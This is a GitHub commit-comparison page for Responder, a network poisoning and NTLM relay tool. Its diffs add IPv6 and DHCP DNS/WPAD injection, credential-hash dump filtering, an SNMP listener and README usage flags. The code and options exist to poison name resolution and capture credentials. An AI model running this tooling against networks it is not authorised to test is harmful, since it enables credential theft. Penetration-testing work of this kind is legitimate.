Compare commits

...

47 Commits

Author SHA1 Message Date
lgandx
f39079da77 Revert "run smbv1 scan in runfinger" 2022-11-08 09:22:41 -03:00
lgandx
8d25d04f13 Merge pull request #218 from ss23/snmp
Implement a basic SNMP listener
2022-11-07 11:18:02 -03:00
Stephen Shkardoon
9d4f919b39 Implement a basic SNMP listener
All community strings are logged as they are sent to the server.
This initial implementation only supports SNMPv1 and SNMPv2c.

`pyasn1` is required for this server to function.
2022-11-06 01:27:28 +13:00
lgandx
59daf46b93 Merge pull request #216 from requin-citron/smbv1ScanWorkAgain
run smbv1 scan in runfinger
2022-11-03 15:44:05 -03:00
requin
cf0c4ee659 add flag (-s) to enable smbv1scan 2022-11-02 19:16:10 +01:00
requin
709df2c6e1 add hostname on smbv2 scan result 2022-10-31 17:31:16 +01:00
Sans23
3aaaaf1c7f Merge branch 'lgandx:master' into smbv1ScanWorkAgain 2022-10-31 15:16:24 +01:00
lgandx
c9b5dd040e Removed machine accounts dump, since they are not crackable 2022-10-19 08:44:05 -03:00
klemou
4321919c9f run smbv1 scan in runfinger 2022-10-01 09:26:32 +02:00
lgandx
b8818ed0c4 Added dump by legacy protocols 2022-09-16 09:36:51 -03:00
lgandx
07dbcf5d6d Modified wpad script 2022-08-06 02:49:28 -03:00
lgandx
c51251db5f Fixed potential disruption on Proxy-Auth 2022-08-06 00:26:11 -03:00
lgandx
fe58475c63 Merge pull request #210 from 0xjbb/master
Added Quiet Mode
2022-08-05 22:06:19 -03:00
lgandx
00d9d27089 added requirements.txt 2022-08-05 21:49:48 -03:00
lgandx
56c3832a3c Create FUNDING.yml 2022-08-05 21:21:53 -03:00
lgandx
0bc226b4be Added: append .local TLD to DontRespondToNames + MDNS bug fix 2022-08-05 20:27:56 -03:00
lgandx
fad2be0a8e Merge pull request #199 from gblomqvist/master
Fix double logging of first hash/cleartext when CaptureMultipleHashFromSameHost = On
2022-08-05 18:58:56 -03:00
lgandx
2765ef4e66 fixed the RespondTo/DontRespondTo issue 2022-08-05 18:51:57 -03:00
jb
2cd66a9b92 Added Quiet mode 2022-07-29 21:15:40 +01:00
lgandx
15d03bc902 Minor bugs and display/logging fixes + RDP srv SSLwrapping fix 2022-07-26 14:56:18 -03:00
lgandx
9b1c99ccd2 Fixed: Warnings on python 3.10 2022-07-12 20:15:36 -03:00
lgandx
983a1c6576 removed -r reference from help msg. 2022-05-17 21:48:02 -03:00
lgandx
03fa9a7187 removed -r references 2022-05-17 21:38:01 -03:00
lgandx
a6838fdc42 Merge pull request #202 from noraj/patch-2
odict: fix import issue
2022-05-17 21:16:41 -03:00
lgandx
8c201cf33e Merge pull request #203 from cweedon/patch-1
Fix missing paren error
2022-05-17 21:15:41 -03:00
cweedon
0c7a3ffabe Fix missing paren error
added parentheses to the print call to fix the error
2022-05-17 12:20:28 -05:00
Alexandre ZANNI
d1cb26bda7 keep compatibility with previous versions 2022-05-13 18:06:35 +02:00
Alexandre ZANNI
0ced7d52c0 odict: fix import issue 2022-05-08 20:54:23 +02:00
Gustaf Blomqvist
e7eb3bcce8 Fix double logging of first hash or cleartext 2022-04-28 15:20:13 +02:00
lgandx
fd9bcf7de1 Merge pull request #191 from Mipsters/master
MutableMapping was moved to collections.abc
2022-02-12 17:17:23 -03:00
Tom Aviv
b9f3ae35ee MutableMapping was moved to collections.abc 2022-02-11 23:24:00 +02:00
lgandx
39a2c7c0f2 Merge pull request #188 from Ne4istb/patch-1
Fixed options formating in README
2022-02-10 08:33:50 -03:00
lgandx
bd823f65a2 Merge pull request #190 from kitchung/kitchung-patch-1
DE-RPC server status not correct
2022-02-10 08:33:01 -03:00
kitchung
ee88da1af8 DE-RPC server status not correct #189
Line 512 should read:
print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.DCERPC_On_Off else disabled))

Instead of:
print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.RDP_On_Off else disabled))
2022-02-06 16:35:01 -08:00
Andrii Nechytailov
f85ad77d59 Fixed options formating in README 2022-02-03 18:32:42 +02:00
lgandx
b147229938 Merge pull request #185 from ajkerley628/master
Updated the README and Responder help flags
2022-01-12 06:17:09 -03:00
root
afb54fa274 Updated the README and Responder help flags 2022-01-11 15:37:14 -06:00
lgandx
5cf69228cf added support for OPT EDNS 2021-12-21 22:39:02 -03:00
lgandx
0b56d6aaeb removed fingerprint.py 2021-12-17 10:10:08 -03:00
lgandx
5d4510cc1d Added IPv6 support 2021-12-17 10:05:00 -03:00
lgandx
bc812da2ef Updated the Readme file with the new options and removed some old stuff 2021-12-17 00:32:12 -03:00
lgandx
3e8c9fdb0e added: dhcp inform 2021-12-13 20:30:14 -03:00
lgandx
76f6c88df3 Added DHCP DNS vs DHCP WPAD 2021-12-12 17:55:58 -03:00
lgandx
9dc779869b Added DHCP DNS vs WPAD srv injection 2021-12-12 17:02:08 -03:00
lgandx
505ec34324 Added DHCP DNS vs WPAD srv injection 2021-12-12 17:01:03 -03:00
lgandx
a0bf7a9baa minor display fix. 2021-12-12 12:26:02 -03:00
lgandx
bb17595e3f Added date and time for each Responder session config log. 2021-12-10 21:06:03 -03:00
30 changed files with 722 additions and 351 deletions

3
.github/FUNDING.yml vendored Normal file
View File

@@ -0,0 +1,3 @@
github: lgandx
patreon: PythonResponder
custom: 'https://paypal.me/PythonResponder'

View File

@@ -28,14 +28,20 @@ def GetResponderCompleteNTLMv2Hash(cursor):
res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v2%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)") res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v2%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
Output = "" Output = ""
for row in res.fetchall(): for row in res.fetchall():
Output += '{0}'.format(row[0])+'\n' if "$" in row[0]:
pass
else:
Output += '{0}'.format(row[0])+'\n'
return Output return Output
def GetResponderCompleteNTLMv1Hash(cursor): def GetResponderCompleteNTLMv1Hash(cursor):
res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v1%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)") res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v1%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
Output = "" Output = ""
for row in res.fetchall(): for row in res.fetchall():
Output += '{0}'.format(row[0])+'\n' if "$" in row[0]:
pass
else:
Output += '{0}'.format(row[0])+'\n'
return Output return Output
cursor = DbConnect() cursor = DbConnect()

111
README.md
View File

@@ -1,6 +1,6 @@
# Responder/MultiRelay # # Responder/MultiRelay #
LLMNR/NBT-NS/mDNS Poisoner and NTLMv1/2 Relay. IPv6/IPv4 LLMNR/NBT-NS/mDNS Poisoner and NTLMv1/2 Relay.
Author: Laurent Gaffie <laurent.gaffie@gmail.com > https://g-laurent.blogspot.com Author: Laurent Gaffie <laurent.gaffie@gmail.com > https://g-laurent.blogspot.com
@@ -8,23 +8,23 @@ Author: Laurent Gaffie <laurent.gaffie@gmail.com > https://g-laurent.blogspot.c
## Intro ## ## Intro ##
Responder is an LLMNR, NBT-NS and MDNS poisoner. It will answer to *specific* NBT-NS (NetBIOS Name Service) queries based on their name suffix (see: http://support.microsoft.com/kb/163409). By default, the tool will only answer to File Server Service request, which is for SMB. Responder is an LLMNR, NBT-NS and MDNS poisoner.
The concept behind this is to target our answers, and be stealthier on the network. This also helps to ensure that we don't break legitimate NBT-NS behavior. You can set the -r option via command line if you want to answer to the Workstation Service request name suffix. The option -d is also available if you want to poison Domain Service name queries.
## Features ## ## Features ##
- Dual IPv6/IPv4 stack.
- Built-in SMB Auth server. - Built-in SMB Auth server.
Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default. Successfully tested from Windows 95 to Server 2022, Samba and Mac OSX Lion. Clear text password is supported for NT4, and LM hashing downgrade when the --lm option is set. If --disable-ess is set, extended session security will be disabled for NTLMv1 authentication. SMBv2 has also been implemented and is supported by default. Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default. Successfully tested from Windows 95 to Server 2022, Samba and Mac OSX Lion. Clear text password is supported for NT4, and LM hashing downgrade when the --lm option is set. If --disable-ess is set, extended session security will be disabled for NTLMv1 authentication. SMBv2 has also been implemented and is supported by default.
- Built-in MSSQL Auth server. - Built-in MSSQL Auth server.
In order to redirect SQL Authentication to this tool, you will need to set the option -r (NBT-NS queries for SQL Server lookup are using the Workstation Service name suffix) for systems older than windows Vista (LLMNR will be used for Vista and higher). This server supports NTLMv1, LMv2 hashes. This functionality was successfully tested on Windows SQL Server 2005, 2008, 2012, 2019. This server supports NTLMv1, LMv2 hashes. This functionality was successfully tested on Windows SQL Server 2005, 2008, 2012, 2019.
- Built-in HTTP Auth server. - Built-in HTTP Auth server.
In order to redirect HTTP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for HTTP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server was successfully tested on IE 6 to IE 11, Edge, Firefox, Chrome, Safari. This server supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server was successfully tested on IE 6 to IE 11, Edge, Firefox, Chrome, Safari.
Note: This module also works for WebDav NTLM authentication issued from Windows WebDav clients (WebClient). You can now send your custom files to a victim. Note: This module also works for WebDav NTLM authentication issued from Windows WebDav clients (WebClient). You can now send your custom files to a victim.
@@ -34,11 +34,11 @@ Same as above. The folder certs/ contains 2 default keys, including a dummy pri
- Built-in LDAP Auth server. - Built-in LDAP Auth server.
In order to redirect LDAP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for LDAP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMSSP hashes and Simple Authentication (clear text authentication). This server was successfully tested on Windows Support tool "ldp" and LdapAdmin. This server supports NTLMSSP hashes and Simple Authentication (clear text authentication). This server was successfully tested on Windows Support tool "ldp" and LdapAdmin.
- Built-in DCE-RPC Auth server. - Built-in DCE-RPC Auth server.
In order to redirect DCE-RPC Authentication to this tool, you will need to set the option -r and -d (NBT-NS queries for DCE-RPC server lookup are sent using the Workstation and Domain Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMSSP hashes. This server was successfully tested on Windows XP to Server 2019. This server supports NTLMSSP hashes. This server was successfully tested on Windows XP to Server 2019.
- Built-in FTP, POP3, IMAP, SMTP Auth servers. - Built-in FTP, POP3, IMAP, SMTP Auth servers.
@@ -56,10 +56,6 @@ This module will capture all HTTP requests from anyone launching Internet Explor
This module allows to find the PDC in stealth mode. This module allows to find the PDC in stealth mode.
- Fingerprinting
When the option -f is used, Responder will fingerprint every host who issued an LLMNR/NBT-NS query. All capture modules still work while in fingerprint mode.
- Icmp Redirect - Icmp Redirect
python tools/Icmp-Redirect.py python tools/Icmp-Redirect.py
@@ -125,46 +121,49 @@ Running the tool:
Typical Usage Example: Typical Usage Example:
./Responder.py -I eth0 -rPv ./Responder.py -I eth0 -Pv
Options: Options:
--version show program's version number and exit. --version show program's version number and exit
-h, --help show this help message and exit. -h, --help show this help message and exit
-A, --analyze Analyze mode. This option allows you to see NBT-NS, -A, --analyze Analyze mode. This option allows you to see NBT-NS,
BROWSER, LLMNR requests without responding. BROWSER, LLMNR requests without responding.
-I eth0, --interface=eth0 -I eth0, --interface=eth0
Network interface to use. Network interface to use, you can use 'ALL' as a
-i 10.0.0.21, --ip=10.0.0.21 wildcard for all interfaces
Local IP to use (only for OSX) -i 10.0.0.21, --ip=10.0.0.21
-e 10.0.0.22, --externalip=10.0.0.22 Local IP to use (only for OSX)
Poison all requests with another IP address than -6 2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed, --externalip6=2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed
Responder's one. Poison all requests with another IPv6 address than
-b, --basic Return a Basic HTTP authentication. Default: NTLM Responder's one.
-r, --wredir Enable answers for netbios wredir suffix queries. -e 10.0.0.22, --externalip=10.0.0.22
Answering to wredir will likely break stuff on the Poison all requests with another IP address than
network. Default: Off Responder's one.
-d, --NBTNSdomain Enable answers for netbios domain suffix queries. -b, --basic Return a Basic HTTP authentication. Default: NTLM
Answering to domain suffixes will likely break stuff -d, --DHCP Enable answers for DHCP broadcast requests. This
on the network. Default: Off option will inject a WPAD server in the DHCP response.
-f, --fingerprint This option allows you to fingerprint a host that Default: False
issued an NBT-NS or LLMNR query. -D, --DHCP-DNS This option will inject a DNS server in the DHCP
-w, --wpad Start the WPAD rogue proxy server. Default value is response, otherwise a WPAD server will be added.
Off Default: False
-u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY -w, --wpad Start the WPAD rogue proxy server. Default value is
Upstream HTTP proxy used by the rogue WPAD Proxy for False
outgoing requests (format: host:port) -u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
-F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file Upstream HTTP proxy used by the rogue WPAD Proxy for
retrieval. This may cause a login prompt. Default: outgoing requests (format: host:port)
Off -F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file
-P, --ProxyAuth Force NTLM (transparently)/Basic (prompt) retrieval. This may cause a login prompt. Default:
authentication for the proxy. WPAD doesn't need to False
be ON. This option is highly effective when combined -P, --ProxyAuth Force NTLM (transparently)/Basic (prompt)
with -r. Default: Off authentication for the proxy. WPAD doesn't need to be
--lm Force LM hashing downgrade for Windows XP/2003 and ON. Default: False
earlier. Default: Off --lm Force LM hashing downgrade for Windows XP/2003 and
--disable-ess Force ESS downgrade. Default: Off earlier. Default: False
-v, --verbose Increase verbosity. --disable-ess Force ESS downgrade. Default: False
-v, --verbose Increase verbosity.
## Donation ## ## Donation ##
@@ -173,9 +172,14 @@ You can contribute to this project by donating to the following $XLM (Stellar Lu
"GCGBMO772FRLU6V4NDUKIEXEFNVSP774H2TVYQ3WWHK4TEKYUUTLUKUH" "GCGBMO772FRLU6V4NDUKIEXEFNVSP774H2TVYQ3WWHK4TEKYUUTLUKUH"
Or BTC address: Paypal:
https://paypal.me/PythonResponder
Patreon:
https://www.patreon.com/PythonResponder
"1HkFmFs5fmbCoJ7ZM5HHbGgjyqemfU9o7Q"
## Acknowledgments ## ## Acknowledgments ##
@@ -199,11 +203,6 @@ We would like to thanks those major sponsors:
Thank you. Thank you.
## Official Discord Channel
Come hang out on Discord!
[![Porchetta Industries](https://discordapp.com/api/guilds/736724457258745996/widget.png?style=banner3)](https://discord.gg/sEkn3aa)
## Copyright ## ## Copyright ##

View File

@@ -61,6 +61,14 @@ def GetResponderCompleteHash(cursor):
for row in res.fetchall(): for row in res.fetchall():
print('{0}'.format(row[0])) print('{0}'.format(row[0]))
def GetUniqueLookupsIP(cursor):
res = cursor.execute("SELECT Poisoner, SentToIp FROM Poisoned WHERE Poisoner in (SELECT DISTINCT UPPER(Poisoner) FROM Poisoned)")
for row in res.fetchall():
if 'fe80::' in row[1]:
pass
else:
print('Protocol: {0}, IP: {1}'.format(row[0], row[1]))
def GetUniqueLookups(cursor): def GetUniqueLookups(cursor):
res = cursor.execute("SELECT * FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned) ORDER BY SentToIp, Poisoner") res = cursor.execute("SELECT * FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned) ORDER BY SentToIp, Poisoner")
for row in res.fetchall(): for row in res.fetchall():
@@ -99,6 +107,8 @@ print(color("[+] Generating report...\n", code = 3, modifier = 1))
print(color("[+] DHCP Query Poisoned:", code = 2, modifier = 1)) print(color("[+] DHCP Query Poisoned:", code = 2, modifier = 1))
GetUniqueDHCP(cursor) GetUniqueDHCP(cursor)
print(color("\n[+] Unique IP using legacy protocols:", code = 2, modifier = 1))
GetUniqueLookupsIP(cursor)
print(color("\n[+] Unique lookups ordered by IP:", code = 2, modifier = 1)) print(color("\n[+] Unique lookups ordered by IP:", code = 2, modifier = 1))
GetUniqueLookups(cursor) GetUniqueLookups(cursor)
GetStatisticUniqueLookups(cursor) GetStatisticUniqueLookups(cursor)
@@ -107,7 +117,7 @@ GetResponderUsernames(cursor)
print(color("\n[+] Username details:", code = 2, modifier = 1)) print(color("\n[+] Username details:", code = 2, modifier = 1))
GetResponderUsernamesWithDetails(cursor) GetResponderUsernamesWithDetails(cursor)
GetResponderUsernamesStatistic(cursor) GetResponderUsernamesStatistic(cursor)
print color("\n[+] RunFinger Scanned Hosts:", code = 2, modifier = 1) print (color("\n[+] RunFinger Scanned Hosts:", code = 2, modifier = 1))
cursor.close() cursor.close()
try: try:
cursor = FingerDbConnect() cursor = FingerDbConnect()

View File

@@ -15,6 +15,7 @@ DNS = On
LDAP = On LDAP = On
DCERPC = On DCERPC = On
WINRM = On WINRM = On
SNMP = Off
; Custom challenge. ; Custom challenge.
; Use "Random" for generating a random challenge for each requests (Default) ; Use "Random" for generating a random challenge for each requests (Default)

View File

@@ -25,21 +25,22 @@ from utils import *
import struct import struct
banner() banner()
parser = optparse.OptionParser(usage='python %prog -I eth0 -w -r -f\nor:\npython %prog -I eth0 -wrf', version=settings.__version__, prog=sys.argv[0]) parser = optparse.OptionParser(usage='python %prog -I eth0 -w -d\nor:\npython %prog -I eth0 -wd', version=settings.__version__, prog=sys.argv[0])
parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding.", dest="Analyze", default=False) parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding.", dest="Analyze", default=False)
parser.add_option('-I','--interface', action="store", help="Network interface to use, you can use 'ALL' as a wildcard for all interfaces", dest="Interface", metavar="eth0", default=None) parser.add_option('-I','--interface', action="store", help="Network interface to use, you can use 'ALL' as a wildcard for all interfaces", dest="Interface", metavar="eth0", default=None)
parser.add_option('-i','--ip', action="store", help="Local IP to use \033[1m\033[31m(only for OSX)\033[0m", dest="OURIP", metavar="10.0.0.21", default=None) parser.add_option('-i','--ip', action="store", help="Local IP to use \033[1m\033[31m(only for OSX)\033[0m", dest="OURIP", metavar="10.0.0.21", default=None)
parser.add_option('-6', "--externalip6", action="store", help="Poison all requests with another IPv6 address than Responder's one.", dest="ExternalIP6", metavar="2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed", default=None)
parser.add_option('-e', "--externalip", action="store", help="Poison all requests with another IP address than Responder's one.", dest="ExternalIP", metavar="10.0.0.22", default=None) parser.add_option('-e', "--externalip", action="store", help="Poison all requests with another IP address than Responder's one.", dest="ExternalIP", metavar="10.0.0.22", default=None)
parser.add_option('-b', '--basic', action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False) parser.add_option('-b', '--basic', action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False)
parser.add_option('-r', '--wredir', action="store_true", help="Enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network. Default: False", dest="Wredirect", default=False)
parser.add_option('-d', '--DHCP', action="store_true", help="Enable answers for DHCP broadcast requests. This option will inject a WPAD server in the DHCP response. Default: False", dest="DHCP_On_Off", default=False) parser.add_option('-d', '--DHCP', action="store_true", help="Enable answers for DHCP broadcast requests. This option will inject a WPAD server in the DHCP response. Default: False", dest="DHCP_On_Off", default=False)
parser.add_option('-f','--fingerprint', action="store_true", help="This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", dest="Finger", default=False) parser.add_option('-D', '--DHCP-DNS', action="store_true", help="This option will inject a DNS server in the DHCP response, otherwise a WPAD server will be added. Default: False", dest="DHCP_DNS", default=False)
parser.add_option('-w','--wpad', action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False) parser.add_option('-w','--wpad', action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False)
parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None) parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None)
parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False) parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False)
parser.add_option('-P','--ProxyAuth', action="store_true", help="Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective when combined with -r. Default: False", dest="ProxyAuth_On_Off", default=False) parser.add_option('-P','--ProxyAuth', action="store_true", help="Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective. Default: False", dest="ProxyAuth_On_Off", default=False)
parser.add_option('-Q','--quiet', action="store_true", help="Tell Responder to be quiet, disables a bunch of printing from the poisoners. Default: False", dest="Quiet", default=False)
parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False) parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False)
parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False) parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False)
@@ -73,10 +74,11 @@ class ThreadingUDPServer(ThreadingMixIn, UDPServer):
else: else:
if (sys.version_info > (3, 0)): if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else: else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except: except:
raise
pass pass
UDPServer.server_bind(self) UDPServer.server_bind(self)
@@ -89,10 +91,11 @@ class ThreadingTCPServer(ThreadingMixIn, TCPServer):
else: else:
if (sys.version_info > (3, 0)): if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else: else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except: except:
raise
pass pass
TCPServer.server_bind(self) TCPServer.server_bind(self)
@@ -105,10 +108,11 @@ class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer):
else: else:
if (sys.version_info > (3, 0)): if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else: else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except: except:
raise
pass pass
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0)) self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0))
TCPServer.server_bind(self) TCPServer.server_bind(self)
@@ -116,12 +120,18 @@ class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer):
class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer): class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
def server_bind(self): def server_bind(self):
MADDR = "224.0.0.251" MADDR = "224.0.0.251"
MADDR6 = 'ff02::fb'
self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1) self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1)
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255) self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MADDR) + settings.Config.IP_aton) Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MADDR) + settings.Config.IP_aton)
#IPV6:
if (sys.version_info > (3, 0)):
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
else:
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
if OsInterfaceIsSupported(): if OsInterfaceIsSupported():
try: try:
if settings.Config.Bind_To_ALL: if settings.Config.Bind_To_ALL:
@@ -129,21 +139,25 @@ class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
else: else:
if (sys.version_info > (3, 0)): if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else: else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except: except:
raise
pass pass
UDPServer.server_bind(self) UDPServer.server_bind(self)
class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer): class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
def server_bind(self): def server_bind(self):
MADDR = "224.0.0.252" MADDR = '224.0.0.252'
MADDR6 = 'FF02:0:0:0:0:0:1:3'
self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255) self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + settings.Config.IP_aton) Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + settings.Config.IP_aton)
#IPV6:
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
if OsInterfaceIsSupported(): if OsInterfaceIsSupported():
try: try:
if settings.Config.Bind_To_ALL: if settings.Config.Bind_To_ALL:
@@ -151,51 +165,61 @@ class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
else: else:
if (sys.version_info > (3, 0)): if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else: else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except: except:
raise pass
#pass
UDPServer.server_bind(self) UDPServer.server_bind(self)
ThreadingUDPServer.allow_reuse_address = 1 ThreadingUDPServer.allow_reuse_address = 1
ThreadingUDPServer.address_family = socket.AF_INET6
ThreadingTCPServer.allow_reuse_address = 1 ThreadingTCPServer.allow_reuse_address = 1
ThreadingTCPServer.address_family = socket.AF_INET6
ThreadingUDPMDNSServer.allow_reuse_address = 1 ThreadingUDPMDNSServer.allow_reuse_address = 1
ThreadingUDPMDNSServer.address_family = socket.AF_INET6
ThreadingUDPLLMNRServer.allow_reuse_address = 1 ThreadingUDPLLMNRServer.allow_reuse_address = 1
ThreadingUDPLLMNRServer.address_family = socket.AF_INET6
ThreadingTCPServerAuth.allow_reuse_address = 1 ThreadingTCPServerAuth.allow_reuse_address = 1
ThreadingTCPServerAuth.address_family = socket.AF_INET6
def serve_thread_udp_broadcast(host, port, handler): def serve_thread_udp_broadcast(host, port, handler):
try: try:
server = ThreadingUDPServer((host, port), handler) server = ThreadingUDPServer(('', port), handler)
